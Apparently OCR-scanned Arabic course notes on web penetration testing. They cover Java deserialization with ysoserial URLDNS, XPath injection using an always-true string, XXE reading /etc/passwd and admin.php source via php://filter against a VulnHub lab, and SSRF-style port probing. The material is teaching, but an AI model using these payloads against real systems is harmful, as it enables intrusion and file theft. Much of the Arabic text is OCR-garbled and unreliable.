Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Running. ..

127.0.0.1:8000: Al ddiall ye il xéiad audaiind o3 (e g e

localhost:8000/

< c @ localhost:2000

classpath

rOBABXQABHR1eHQ=

Submit Query



(...4lS5) Insecure Deserialization J) 3_a

O e Deserialization Jezs s s a3 (e g4l Wy ) jad (Al bl JLatuly a g (Sadaill
i cyo Ll

5 1 oy Ik el o giine Juaadl) 138 & (K1 3o (5 ylay USSR 28 JUiin) LilSaly o
Jadlly Clbad Gukall of G

DNS Resolution Exploit °

T Iy 5 Sa e

«lbad) Gulaill ) Serialized Object s < a 58 o

I el ¥ 2t W il Deserialization ) ddlee J3A Serialized Object ) 14 5 o
Ay

W Gl (e sl DNS query ders a st laddl Gubaill Jeain i) 12a 8 o



(...4lS5) Insecure Deserialization J) 3_a

DNS aladinls a stin laall Gudaill Ledlu )b o 81w Al payload ) el Ja o
Proxy

: Ejjaij\ Y e UAJAJ\ °
payload - oL xSl o cbadl Gulaill e jalall DNS request I U=l yic) o
el JSG LI Run Jae &5 Ledla b Liad Al

:~/Desktop/eLearnSecurity/WAPTXv2/Deserialization/Tools/dnschef# ./dnschef

version 0.4 °®

AN
iphelix@thesprawl.org

09:24:32) [*] DNSChef started on interface: 127.0.0.1
09:24:32) [*] Using the following nameservers: 8.8.8.8
09:24:32) [*] No parameters were specified. Running in full proxy mode




(...4lS5) Insecure Deserialization J) 3_a

T YIS 310V 2 aladiuls Serialized Object I slpayload ) sl astiw Y1 o

:~/Desktop/eLearnSecurity/WAPTXv2/Deserialization/Tools/ysoserial/target#
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://alaa.com | base64
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
rO0ABXNyABFqYXZhLnVOaWwuSGFzaE1lhcAUH2sHDFmDRAWACRgAKbGOhZEZhY3RvckkACXRocmVz

aG9sZHhwPOAAAAAAAAX3CAAAABAAAAABC3IADGphdmEubmVOLLVSTIYINzYa/ORyAwAHSQAIaGFz
aENvVZGVJIAARwb3JOTAAJYXVOaG9yaXR5dAASTGphdmEVbGFuUZy9TdHIpbmc7TAAEZmLsZXEATQAD
TAAEaG9zdHEATQADTAAICcHIvAG9jb2xxAH4AAOWAA3I1ZnEATQADeHD//////////3QACGFsYWEuU
Y29tdAAACQB+AAVOAAROAHRwWCHhOAA90dHRWO18vYWxhYS5jb214

SerializationDumper I 3lab 4ilxiuy) WKL Serialized Object ) sl 2z o
Jilaill 5 51l 538 ) of sine agh s Object ) 138 Jiail il Legle & UYL L 3
(Baseb4 s a8l alg3la3 raw data el Caed (b Jaal 5 clald




(...4lS5) Insecure Deserialization J) 3_a

:~/Desktop/eLearnSecurity/WAPTXv2/Deserialization/Tools/ysoserial/target#
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://alaa.com > payload.bin
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

:~/Desktop/eLearnSecurity/WAPTXv2/Deserialization/Tools/SerializationDumper# java -jar SerializationDumper
.jar -r payload.bin
Picked up JAVA OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

STREAM MAGIC - Oxac ed
STREAM VERSION - 0x00 05
Contents
TC OBJECT - 0x73
TC CLASSDESC - 0x72
className
Length - 17 - 0x00 11
Value - java.util.HashMap - 0x6a6176612e7574696c2e486173684d6170
serialVersionUID - 0x05 07 da cl c3 16 60 dl
newHandle 0x00 7e 00 00
classDescFlags - 0x03 - SC WRITE METHOD | SC SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields




(...4kSS) Insecure Deserialization J) 3_a

Sukill J) payload J) Ju )b aséi oY) e

localhost:8000/

&« cC @ (0 localhost

classpath

rOOABXNyABFqQYXZhLnVOawwuSGFzaElhcAUH2sHDFmDRAWACRgAKbGOhZEZhY3RvckkACXRocmVz

aENVZGVIAARwb3J0OTAAJYXV0aG9yaXR5dAASTGphdmEVbGFuZy9TdHIpbmc7TAAEZmLsZXEATQAD
TAAEaG9zdHEATgADTAAICHIvAGY ] b2xxAH4AAOWAA3ILZnEATgADeHD//////// / /3QACGFSYWEU

Y29tdAAACQB+AAVOAAROdHRWcHhOAA90dHRWO18vYWxhYS5]b214

Submit Query
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Deserialization ) 4dee ol U uay Gubaill 5 Jaadl payload 3 Jlu ) ey e

e

classpath

Deserializing...Done!

rOOABXNYABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmMDRAWACRgAKDbGIhZEZhY3RvckkACXRocmVz
aG95ZHhwPOAAAAAAAAX3 CAAAABAAAAABC3TADGphdmEUbmVOLLVSTIYINzYa/ORyAwWAHSQAIAGFz
aENvZGVIAARwb3JOTAAJYXV0aGIyaXR5dAASTGphdmEvbGFuZy9TdHIpbmc 7TAAEZmLSZXEATQAD
TAAEaG9zdHEATGADTAAICHIvAGY)b2xxAHAAAOWAA3I L ZnEATQADeHD//////////3QACGFSYWEU

Y29tdAAACQB+AAVOAAR0odHRwCcHhOAA90dHRWO18vYWxhYS5]b214

Submit Query
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DNS query Jezs a8 J=dlly Cliaal) Gokill o asis DNS Proxy ) ) Lae sl g e

127.0.0.1: proxying the response of type 'A' for alaa.com
127.0.0.1: proxying the response of type 'AAAA' for alaa.com

[!] Could not proxy request: timed out
127.0.0.1: proxying the response of type 'A' for alaa.com
127.0.0.1: proxying the response of type 'AAAA' for alaa.com
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XPath Injection J! 3_

&t XPath JI 8 L Yl ca =il XPath Injection 3% Jualdi L& (asall J8
¢l

4 Al Sl oany alad Lgwladiul 24 Query Language o= 3)ke XPath I e
XML Document

XML ) aladial o5 (asad u\_q.uLJ\ J\.ﬂ\ @) L_UJJ\ um Uy (e
9 cu\_\;)u.aj\ ca@_\b\_uj UMM\ ;\.A.w\ dJ.A ub\_u]\ ) ua);_d Documents

M\Auaﬂc_\.ajd.ukadhd\d.\.ués M‘L&AJ&J@MH\.\M‘UA&}J&‘
J\Jm‘)f\ca_u\ﬁ\cM\CqJ\_\)u\_\SdS@mmjuaﬁ\M\ﬁuqﬁﬁm c_uﬁb

XML ke & (&)



(...akS&S) XPath Injection J) 3_a

JPJUAJJY( ew@})u\AM\oﬁﬁwwﬁ\dﬁ R ..,,a,,u.-“’%’
XMLJ\Q-\I&LQ&MM‘L_\\AM\L_\LUAQ_UJM a USA.M\_J\

c_ab\_\.d\ujcQuery dejmjl\uc\_m&_d\ J-‘-"“MC‘-““U‘ AJJJ\GAXPath ) e
XMLJ\uulau_qm)Mj\

XPath Injection

La e Ly a1 XPath query dalleay gl gudas LT Ladic t_i‘)’_\j‘ j.d\ 12 Chasy e
("‘L‘J\ MDMAJL&A?AJYJAJAM \JA)‘ M\w@bm ut dAJAL;-C ¢\44
u.d\ XPath query AL eS;_d\) GAA).J\ U:nl\ 128 JDiul d).n.d\ PPLTIRE ujuh
Baadatill L i o

3l o2 e JUeS U 3 ,<) aal e




(...4LS3) XPath Injection JV 3 _as

el Glily (i et Al Asdiall 1aa3 «OWASP Mutillidae Il = p=ld 25811 o
mutillidae/user-info-xpath.php/ : bl 138 & laslay) aplatos

1 $1XPathQueryString = "//Employee[UserName='{USERNAME}' and Password='{PASSWORD}']";
2 $1XPathQueryString = str replace("{USERNAME}", $1XPathUsername, $1XPathQueryString);
} $1XPathQueryString = str replace("{PASSWORD}", $1XPathPassword, $1XPathQueryString);

4 $1XMLQueryResults = $XMLHandler->ExecuteXPATHQuery($1XPathQueryString);

olankll Node ) (& Sl o585 Al XPath query sl aly s 1 8 yhadll e
o34 (PASSWORD s USERNAME axiicdl auf ¢ (ied Ll 5505 Employee

URL Parameters I ye cusll Gudail 575 dldlaal andind) o sy (piiadl
:<égtﬂﬁi
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(...4LS3) XPath Injection JV 3 s
Request

_[ Raw T Farams T Headers T Hex ]

1 GET /fmutillidaesindex.php?page=
user-info-xpath.php&username=username&password=
passwordiuser-info-php-submit-button=
View+Account+Details HTTPRS1.1

Host: 192.168.1&62.122

User-Agent: Mozillas5.0 (X11l: Linux x8&5 &54;
rv:68.0) Gecko/20100101 Firefox,/68.0

Accept.:

text/html,application/xhtml+xml ,application/xml ;
Q=G_ 9: :+:f:+:; q=0. 8

Accept-Language: en-US, en:g=0.5
Accept-Encoding: gzip, deflate

DMNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

hJ

-r;_.

Ln
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La query J) &« HTTP Request ) (e 4edldll sl mad aly 1 3 5 2 285 plauidl
ko) JCIL A A Rallae 2 o) ¢ QT aae

Query ) 2aily Hlaull 13 258y i 4 Q85 Haull e
: SV ale XPath query ) i s A XML I cila o
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<addressBook>

<address>
<firstName>William</firstName>
<surname>Gates</surname>
<password>MSRocks ! </password>
<email>billyg@microsoft.com</email>
<ccard>5130 8190 3282 3515</ccard>

</address>

<address>
<firstName>Chris</firstName>
<surname>Dawes</surname>
<password>secret</password>
<email>cdawes@craftnet.de</email>
<ccard>3981 2491 3242 3121</ccard>

</address>

<address>
<firstName>James</firstName>
<surname>Hunter</surname>
<password>letmein</password>
<email>james.hunter@pookmail .com</email>
<ccard>8113 5320 8014 3313</ccard>

</address>

</addressBook>
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IS paits SO aen pla iy o8 I XPath ) daded
//address/email/text ()
D (AU dadatll S5l Dawes aadtuall dalall Gllall (1 je Loyl flge
//address|[surname/text () ='Dawes"' ]

aud o 2l credit card A Ul (m m o st sl Gk O ol (Y1 .
OB (e pall 038 o 5ad s cpassword <l 4S5 username  padiol
: L;SY\S query Al 5 S g eail..m]\



(...4kSS5) XPath Injection J) 3_a5

//address[surname/text ()='Dawes' and password/text()='secret']/ccard/
text ()

Fadll i (yidall sy 38 cauludl JSAIL AR 03 Aallaas e sl ol ol Ala
sl A Jia b Al

'"'or 'a'='a

D Y Al Jas ) AL el (s (53500

/ /address [surname/text ()='Dawes' and password/text()='"' or 'a'='a']/

ccard/text () . . .
Cpeddindl aread credit cards ) ad ayro o sie Sl
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XPath Injection Al Cal yad @.d dann Al LL\LMJ\.AAM o

JsY) aliall 8 axiiiall (e dadd DA e a3l queries sl o5 Y o

parameters I Ll s ol oSl cclagleil) oda Jia el e 2 Vs S () @
g all euij\ Jie dda sanall aail) e Jadh (g ging Lil sSU 5 aodid) (e daldl
‘_A.c J\.A.\.o‘ﬁ\_m ?‘M Yy AL J\.\.\:Y White List ‘\_\A@_\A e.ﬁa_u,u\ J;\ PR PY ¢ Jadd
Bae glal d)-" | aJ.mY\ Aq Hhall u\ dus «Sanitization <A Zeal







ol Joad
XXE Injection J! 5

—al ‘gl
38l adla daal /a0
il Jgatl) g el glaall el (5 jLikind
Ahmed.Hashem.EIFiky@outlook.com

Ahmed Hashem El Fiky



5ok Al XML

XXE Injection J) 5_j3

el daly dalaiall ol g &\y\mmm§gu\m

LSAJ‘ LJA.@J\La\.@_\Aa)AdSuJ:u} &\y‘)f\ Y L':J'c (MY\ oJ}aﬂ J.LJ\)

4 N\
Parsed XMI Ay
XML-based XML Parser o Web \?erv.lce/
System Application
L 5 )
...................................... Y S
vul biliti XML Billion Laugh XML External Entity XML Injection
uinerablliities (BIL) Injection (XXE) (XMLi)
............................................. Vo Y
Securi
Propertitgs Availability Confidentiality Integrity

Figure 1.1: Vulnerabilities in XML-based System
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XML Parser Jb dalaial) < 2l o

g Liblae L@J\JA\ < XML JJ\J\JJLAQMLTJ\ u gl ilandal e
XIVIL A ¢ cul d—“L” & “Am‘ Al = XML Parser  aladiul, Ly shaa
i gl fulail da geda Lelaa g XML JUS\ (Parsing) 3¢ 3 uﬁ el Parser
galAll A S g XML AV 2 S 5 API = m\ Parser u\ LS‘ era d.q\.,_d\ c.da.\...u
stz bl JSS XML A ajscu_ujl\ ”L..qd.amu\us\..aﬁ g_ujj\d.u.Lm
08 Anwlially g cAaduda ) oda 25 XML Parser RENC ERPA YT VLT J.L...u S d
Oilal e Laelld ¢ LETY m\j XML JMJ.\J\AJJ:AU’_J\ Y A;\GA 3 jall
(3 u.\.q.u.L:.\ Crn adalanl) Adae GSLJ\.J XML Parser JL dala ciliiSa Leoal das il

4] Laa \A\uhuj\d@_umg_auj&uu\_‘\_\.d\og\ﬁj\gquuaﬂ(ml\mw.\d
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sda S (Lia Liddlia Aday Ll g XML Parser Al 4alianll &\y‘)f\ Cr aall as g
‘Jaall JL’U Olalll axdl jaadl 4a gi8all XML Parser d) (azw 4418

Java

Python

PHP

.NET Framework

sy | pamy iy Eaaad G.d\ <l Al Y Jeil XML Parser 3 Jsa deddall sl axn

u.d\ ua.\\.m;l\m.\h;u)l\ d.\J.LJJ}-LAd.@AL_\MJJ\ XML Parser J\uﬁusua]\
ALKa) 33 g Parser ) 1aa Leada
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XML External Entity Injection (XXE) e
EXML Entity I sa Le 40y Cayeil ol jaill e g il 138 e Canpaii off Jd o
o (8 OS5 8 bl saa 5 by Jasy e o llie] apkiivs XML Entity ) e
(External) «a_a & 5l XML J) <&k (Internal)
XML 3 ke (paca ENTITY <y pas e JUia 1aa o

<!DOCTYPE ARTICLE
[
C'ELEMENT ARTICLE (TITLEPAGE, INTRODUCTION, SECTION:)>
<IELEMENT TITLEPAGE (#PCDATA)>
{!ELEMENT INTRODUCTION (#PCDATA)>
<IELEMENT SECTION (#PCDATA)>

CIENTITY topics SYSTEM "Topics.xml"> ——p External Entity
CLTENTITY title "A Short History of XML"> —— Internal Entity
]
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1 Laa g XML ENTITY I (0 ilide (e o Ldte ole | JU) d o

External ENTITY e

Internal ENTITY e

+4dy ey (aldll Syntax ) s 13 5 External ENTITY Js¥) g sl sa La Liagy Lo o

CIENTITY EntityName SYSTEM SystemLiteral>

il 138 auY ey EntityName
Alide o) il plasin) LilSaly La g ccall) 4y aa) giall jlaall ) 5e 53 SystemlLiteral o
HTTP, File 4! Jis URI Scheme ! (s
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XML External Entity ) e U873 o) axy oY) o
XML External Entity Injection ) 3 a5 cals <5 =il o

eM‘UAQ_\\AL\.\S“\M@u" <" A;\j.uu\m)\alnjec’uon Eﬁu‘“"ﬂ\-@d‘m'
ParserJ\uJ\du}jajﬂ\cac_\\_\\_d\oJA.LLe.\JeJuAJ(J;\d.uLAuA}\)

(A 3 sl c—m Lae AL 48 w—dﬂ Jery gl Gukai o 50 Yy «Code XML
XML External Entity (s Lia dadi luass g XML 2 S
03 geall i s laal) Cailadl Tan g 2 il e S8 e il o
Machine I sa Qsmcgﬁx da g d—‘-‘ubejm .
https://www.vulnhub.com/series/xxe-lab,174/ ¢

LAY Sl el Gilalae ) o
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http://172.16.220.134 15l Clad) Cy gl 3k o
Kali machine \d3a (e JLEAYL & 688 AIMachine J) e

2 (http://172.16.220.134/xxe/)  Gubilh 4aldll dadall e Joaall 2ay e
Login If You Can L0 djiﬂ‘ LJM SPENE

\
Password
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d\.uu\ u\ Jad Burp Suite 313 Gk e Qllall ) yie) g Jedall Jaadd Jglai o
Gadail) Loy ey Al AV Le agdh s l) s )

J Intercept T HTTP history TWebSockets history T Options ]

¢’ Request to http://172.16.220.134:80

| Forward | | Drop | | Interceptison | | Action J

J Raw T Params T Headers T Hex T XML ]

POST /xxe/xxe.php HTTP/1.1

Jost: 172.16.220.134

Jeer-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) CGecko/20100101 rFirefox/72.0
accept: * /%

yccept-Language: en-US,en;g=0.5

accept-Enceding: gzip, deflate

—ontent-Type: text/plain;charset=UTF-8

—ontent-Length: 63

origin: http://172.16.220.

0.124
ONT: 1
—onnection: close
Referer: http://172.16.220.134 /xxe
Cookie: ‘H=SESSID='ehnuq?gemfiéydq:EETrQOEJr
<?xml version="1.0" encoding="UTF-8"?><root><name>user<,;/name><password>pass</password><;/root>
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XML e la e oy aodiieally dalald) cilbilnll o LoDt ccallall al jic) azy o
A elin a8 Al s XMLFunction() 4l aais Source Code Il e 3 ki il
cu gl 3ubkd e s xml document

[a] (index) X

function XMLFunction()
var xml = -
/ersion="1.0" encoding="UTF-8"

'#name').val() + '</name>'
#password').val() + '
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText) ;
document.getElementById( 'errorMessage’').innerHTML = xmlhttp.responseText;

N

6
27
28
29
0
1

w W

}
}
xmlhttp.open("POST", "xxe
xmlhttp.send(xml);

w W w W

o Uhs W
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PRERINON | PO eM‘UAMJ\SM Ol ) sa 38N A Tuaat Bagy ) ¢ jall o
o&@MoﬂM&\thJXML J\.USCAL@LL(L\.\(JJJA\MS)
(mbas password s name  Cpowaddl DS ¢ gaall apkatid Ua ey « D3R

D LegDA e () apdatin

Burp Suite J) & Repeater ! () (¥ asail ¢ 25l Julat any
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Request

_[ Raw T Params T Headers T Hex TXML ]

POST /xxe/xxe.php HTTP/1.1

Hoset: 172.16.220.134

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:72.0)
Cecko/20100101 rFirefox/72.0

Accept: */*

Accept-Language: en-uUus,en;g=0.5
Accept-Enceding: gzip, deflate

content-Type: text/plain;charset=UTF-8
cContent-Length: 63

Oorigin: http://172.16.220.134

DNT: 1

Connection: close

Referer: http://172.16.220.134 /xxe/

Cockie: PHPSESSID=kehabSgkgemfi6Sdgcbe7rglObjr

<?xml version="1.0"

encoding="UTF-8"?><root><name>user<,;/name><password>pass</pa
seword></root>
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- Jia XML ) & Meta-character ) a aal i yai 3y sk e Jliall lag e

Table 4.1: XML Meta-characters

Character | Consequence

< Opening a tag without closing it.

& This is a character for escaping meta-
characters, which makes an XML malformed
when being used alone.

> Closing a tag without opening it.

It makes the name specification syntactically
incorrect when added to an attribute name.
Similar to the previous one.

<! —— This sequence of characters represents the
beginning/end of a comment and is not al-
lowed in attribute values.

)] > This is a delimiter for the CDATA section

and is not allowed in values of elements.
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a_a);AA\bArusl\o&h\um AL )M\Me)myujj\dmuts.u\;@-
\_J)@_LJParser J‘JSAALMGXML J\uLdMLJ\ M\@LL;L_\\J;\L;LJM

o & Aadll L A5Y) 55kl &

cResponse J\ L; \.L; "\J\MJ

Send

Request

J Raw T Params T Headers T Hex T XML ]

Target: http://172.16.220.134

Response

J Raw T Headers T Hex T Render ]

Linux XB8¢

@
[
[
Ly

;*
ept - Language:
Accept-Enceding:
Content-Type:

en-us,en;g=0.5

gzip, deflate
text/plain;charset=UTF-8
Content-Length: 98
Oorigin:

http://172.16.220
DNT: 1
Connection:

e7rg0bjz

vercsion="1.0" enceding="UTF-8"?

AIlLleyu nd

HTTP/1.1 200 OK
Date: Sat, 18 Jan 2020 22:41:43
Apache/2.4.27
Content-Length:

GMT
Server:

{(Ubuntu)

Connection: clos

Content-Type: text/html; charset=UTF-8

Ssorry, this not availablel

Stlieln Ci FIKy



(Al

XXE Injection J! 5_j3

I' Send | Cancel | < |v | > v

Request

| Raw | Params | Headers | Hex | xmL |

Target: http://172.16.220.134

Response

_[ Raw T Headers T Hex T Render ]

POST /xxe/xxe.php HTTE/1l.1
Host: 172.16.220.134
User-Agent: Mozilla/5.0 (X11;
Gecko/20100101 Firefox/72.0
Accept: */*

Accept-Language: en-uUS,en;g=0.5
Accept-Enceding: gzip, deflate

Content-Type: text/plain;charset=UTF-8
Content-Length: 98

origin: http://172.16.220.134

DNT: 1

Connecticon: cloge

Referer: http://172.16.220.1234/xxe/

Cookie: PHPSESSID=kehaSgkgemfié6fdgcbe7rglObjr

Linux x86_64; rv:72.0)

<?xml version="1.0" enceding="UTF-8"?>
<root>

<name>user</name:-

<password>sk /password>

</root>

LS

Date:

sorry,

Ahmed Hashem El Fiky

Cconnection:
Content-Type:

this

HTTP/1.1 200 OK

Sat, 18 Jan 2020 22:43:06 GMT
Server: Apache/2.4.27 (Ubuntu)
Content-Length: 27

cloge
text/html; charset=UTF-8

not availablel
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«Response Al e elas (J Parser 4! (s lali=d g u_d\ M\ Al QT:L',?M o
XML External Entity — (8l Jaladl JE) Jasss Ao ¢ AT ¢ 25 s oY) ol
PN
<IDOCTYPE Doc | :

<IENTITY ex SYSTEM "file:///etc/passwd">
>

CMAA ad aal e Entity ) 128 oot 2 ey e

<name>&ex;</name>
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| send | cancel | [ <iv || >v | Target: http://172.16.220.134 Req uest J d‘“ﬂ){} °

Request Response

J Raw TParams THeaders THex TXML ] _[ Raw THeaders THex TRender ]

POST /xxe/xxe.php HTTP/1l.1 A HTTP/1.1 200 OK

Host: 172.16.220.134 3 Date: Sat, 18 Jan 2020 22:51:54 QuT

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Server: Apache/2.4.27 (Ubuntu)

Gecko/20100101 rFirefox/72.0 Vary: Accept-Enceding

Accept: */* Content-Length: 1440

Accept-Language: en-uUsS,en;g=0.5 Connection: close

Accept-Encoding: gzip, deflate Content-Type: text/html; charset=UTF-8

Content-Type: text/plain;charset=UTF-8

Ccontent-Length: 164 gorry, this root:x:0:0:root:/root:/bin/bash

Origin: http://172.16.220.134 daemon:x:1:1:daemon: /usr/sbin: /usr/sbin/nologin

DNT: 1 bin:x:2:2:bin:/bin:/usr/sbin/nologin

Connection: close sys:X:3:3:sys:/dev:/usr/sbin/nologin

Referer: http://172.16.220.134/xxe/ sync:x:4:65534:sync:/bin: /bin/sync

Cookie: PHPSESSID=kehalgkgemfiéGdgcbe7rglbjr games:X:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin

<?xml version="1.0" enceding="UTF-8"?> lp:x:7:7:1p:/var/spool/lpd: /usr/sbin/nologin

<!DOCTYPE Doc [ mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

<!|ENTITY ex SYsTEM "file:///etc/passwd"> . news:X:9:9:news:/var/spool/news:/usr/sbin/nologin

1> uucp:x:10:10:uucp: /var/spool/uucp: /usr/sbin/nologin

<roots> proxy:x:13:13:proxy:/bin: /usr/sbin/nologin

<name>&ex;</name>| www-data:x:33:33:www-data:/var/www: /usr/sbin/nologin

<password-pass</passwords> backup:x:34:34:backup:/var/backups: /usr/sbin/nologin

</root> list:x:38:38:Mailing List
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¢ La Joan 53 L Il uen o
Dbl dasy External Entity <osd Gk o passwd ) <ile 3e) 8 Liakain) o
YA PRLIREN 2 External Entity A1 Liea (43 Crag ¢ calall 13 il
admin db 4k e B Jaud dadia Uaa g robots.txt ) cale (s sina 8ol B 22y @

admin X [+

@—) s C @ [@\z 172.16.220.134/xxe/admin.php
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A st g3 28l yudil J gaal)
Gk e admin.php Jl cale (5 sina 3ol 3 e 13l (S

ol st
Jiat dniam i 5410

Send Cancel < v l > v

Request

_[ Raw T Params T Headers T Hex T XML ]

J\.\JA}[ PAc a_a‘ﬁjm Axy ®

¢ 1 :
Target: http://172.16.220.134 "-A jy\ JP j‘

Response

_[ Raw T Headers T Hex T Render ]

POS” "xxpfxxe php HTTP/1.1

Hogst: 172.16.220.1324
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0)
Gecko/20100101 rFirefox/72.0

Accept: */*

Accept-Language: n-us,en;g=0.5
Accept-Enceding: gzip, deflate
Content-Type: text/plain;charset=UTF-
CﬂntentALenath- 188

Oorigin: http://172.16.220.134

DNT: 1

Connection: cl“se

Referer: http://172.16.220.134 /xxe/

Cockie: PHPSE SSID kehaSgkgemfi6Sdgcbe7rglbjr

<?xml vergion="1.0" 2>

<!|DOCTYPE DoC

<!|ENTITY ex SYSTEM

"php://filter/read=convert.base6td -encede/resource=admin.php

"

1>

kroot=

<name>&ex; </name:>
<password>pass</password>
</root>

e

HTTP/1.1 200 OK

Date: Sat, 18 Jan 2020 23:00:27 GMT
Server: Apache/2.4.27 (Ubuntu)

vary: Accept-Encodin

Content-Length: 4447

Connecticon: close

Content-Type: text/html; charset=UTF-8

Ssorry, this

PD9waHAKICAgc2Vzc2lvbl9zdeFydcgpowo/PgoKCjxodGlsIGxhbmcgPSA

iZW41iPgogICAKICAGPChlYWQ+CiAgICAQIDX0aXRsZT5hZGlpbjwvdclob
GU+CiAgICAgQIDXSaWsSrIGhyZWYgPSAIY3NzZL2Jvb3RzdHThcCStawduyY3N
ZIiBYZWwgPSAic3R5bGVZacvV1dCI+CiAgICAgGIACgICAGICASC3RSbGU+C
1AgICAQICAQIGIVZHKgewogICAgICAgGICAGICBWYWRKaWSnNnLXRVCDOgNDEB
weDsSKICAgICAGICAGICAGCGFKZCGluZylib3R0b206 IDQWCHG7CiAgICAGT
CAgICAGIGIhY2tncm91bmQtY29sb3I6ICNBREFCQUI7CiAgICAgGICAGIHO
KICAQICAQICAQCiAgICAGICAGICSmb3JtLXNPZ25pbiB7CiAGICAGICAGI
CAgIGlhecl3aWwR0aDogMzMwcHg7CiAQICAGICAgGICAgGIHBhZGRpbMC6IDE
1cHg7CiAgICAQICAgICAgIGlhcmdpbjogMCBhdXRVOWOgICAQICAGICAGT
CBjb2XxvcjogIzZAXNZU3M]SKICAGICAgGICAgEIQOogICAgGICAGICARICAGICA
gICAgLmZvemOtc2lnbmluICSmb3JtLXNPZ25pbiloZWFkaWwsnLACgICAGT
CAgICAuUZmMSybslzawduaWdgLmNOZWNrYmM94 IHSKICAGICAgGICAGICAGLWF
YZ21uLWJIvVAdHRVbTogMTBWeDSKICAGICAGICAgGEQOgICAGICAGICARICAGT
CAgICAgLmMZvcmOtc2lnbmluICS5jacGvVja2dveCB7CiAgICAGICAGICAGIGEZ
vantdZVpZZh001Bub3Jtwa7C1AgICAgICAgIHOKICAgICAgICAgC1AgI
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I ay) Caldll G sina el B Lindaii) o
YIS Caldl (s sisal Encoding Jasy Lid Ll JaaY o

<IENTITY ex SYSTEM “php://filter/read=convert.base64-

encode/resource=admin.php”>

dadiall (e L.\\_\M\ XYY UJ;j ¢ aldll LSJM Decoding d,q.c Az, @
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30cClgdGl0ZSA9IC)Mb2dvdXQiPINIc3Npb24uCiAgICAgICAgIAogICAgICABL2Rpdj4gCiAgICAglAogICABL2JvZHk+CjwvaHRtbD4K ® Text O Hex @
| Decode as ... ﬂ

| Encode as .. B
| Hash ... E]
<" L [ Smart decode J
<?php Al @ Text (O Hex
$msg =" r

if (isset($_POST['login']) && !empty($_POST['username'])
&& lempty($_POST['password'])) {

md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$ SESSION['valid'] = true;
$ SESSION['timeout'] = time();

if ($_POST['username'] == 'administhebest' && )
.
v
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administhebest
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Redirection J) &l yzd

Lt s (Aumstl sale) @l ad) dysadll il Jomie 258 Jeaill 138 8 (a peiasi o
OGS

Server-side HTTP Redirection : 1Y) o

Open Redirect : 45Ul e

Server-side HTTP Redirection:¥Y sl o

Ll ey s) Gl Jals DA Ly I Ly (e elligats g5 535 oo Al s

J&M\ejﬁ:(‘uw}]\d@‘_gweﬁd\ad\ﬁum a)’..\]\ XYY J.@.i:.\ ‘:AJ\.A
Aal) odg] (Badaill dga g8 AL g Lea) a1 ) Lgidlial 5 assl) o3a dallaa;



(...4L&%) Redirection J) &l as

Dol 2 g8y are e JUAT Ladie 5 gy edaal ddlide Cladizac g afge 1l o
A0 5yl (Je cLlbs dalleas

POST /home HITE/1.1
Content-Iype: application/x-www-form-urlencoded
Host: isecurlty.conm

™~ -

Content-Length: &5

view=defaultstheme=1isecurlty.com/themes/themnel

U= o theme e el (o aney s Sl AL a8 sall O 3 pall (o a5 0
I adl) 5 iuaiell a o il
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Cum adiied) AN (o BEaTL ash Y iedl O b Gl b 5l G s
oJa.d\ XYY U‘ LS‘ (""'d‘ uﬂ:;)i:; LS‘ SERY theme JJA\JL\M e.\s ).wu ew\ c.\.L:.\.m
I il aaleall pdainny Gua 8l G aalgall Gu Slase s (S il
Dol e s Al dleady JuaiYly A3a o S) L Dladia (e 5 s A il
sl Aalal A ) JsAl, gisall J3h dulua cilaba LU il L s
2 S s e Jgeanlly sl laall dads 5 el aelud Ulal g 45,30
) Aadia (e Jaeailh o gat ) ) el S e danall dhile cang B padll oda CBLEISY
SHS P e gkl o sgiad Al 5l e dall s A dada

theme=1securlty.com/themes/themel

theme=192.168.1.1
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Laiul s 45 themes=isecurlty.com/files el dad o diaaily o gt s
Jlasial @..L:...u.\ AUl Glas Qﬁ}d\ﬁ vaall Hlual) 13 Sleaa 5 o 1), llall 53yl
Lol Y ean 5wy (ala Tl ) adgall Jah ol gu dadl ) gL e Ll A
ClaBla ) s @dsall Aladia e S ) Jsaall apdaind JEIL 5 a0al)

Server-side HTTP Redirection 323 axie Joaiul 11Uk o

e Jaxd ftp 4ead (ealad LS 3 adll o2 JOA (e ftp 4wy JLadY) Jsladu e
Al 3 ) seall Jaa Qllall )3 ) Adadial (5 yiws 21 © ) s




(...4kSS) Redirection J) &l yas

POST /home HITE/1.1

Content-Type: application/x-www-form-urlencoded
Host: isecurlty.com

Content-Length: €5

1securlty.com:2l

1

view=defaultaitheme

Aeadl) 3 il Jadll Ly o) banner grabbing (2 Joaiuy) 1aa aadtay
L e 5 o laal 5 29 iy ole caial) ali,dl U jen JSA 13 e Wlle JDanY) das () S

HTTP/1.1 200 OK
Connection: close
220 ProFTPED 1.2.4 Server(Debian)
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Server-side HTTP Redirection 3_ail aadia J3laiul 12U« o
ASLE o3a Jala Aabia A 3 ea ) L) 5 a8 sall Adalall A8 ) J ) J glaia o
u\ﬂ\u@ﬁbo&&\o&ulc‘\.;j.\s.d\&_\b)j.\ﬂuaﬁdmj

POST /home HITPR/1.1

Content-Iype: application/x-www-form-urlenceded
Host: isecurlty.com

Content-Length: 65

view=defaultatheme=192.162.0.1:21

Gl sall gd) (e Aailiy 21 Jaiiwi s IP (0 4o se2 192.168.0.1 Jasias
e alaie ) (Sadl e ) PAma sl Blial (ald Cu S daa g DA (e o sagd) 13 i (K
burp suite <l asl burp intruder 81
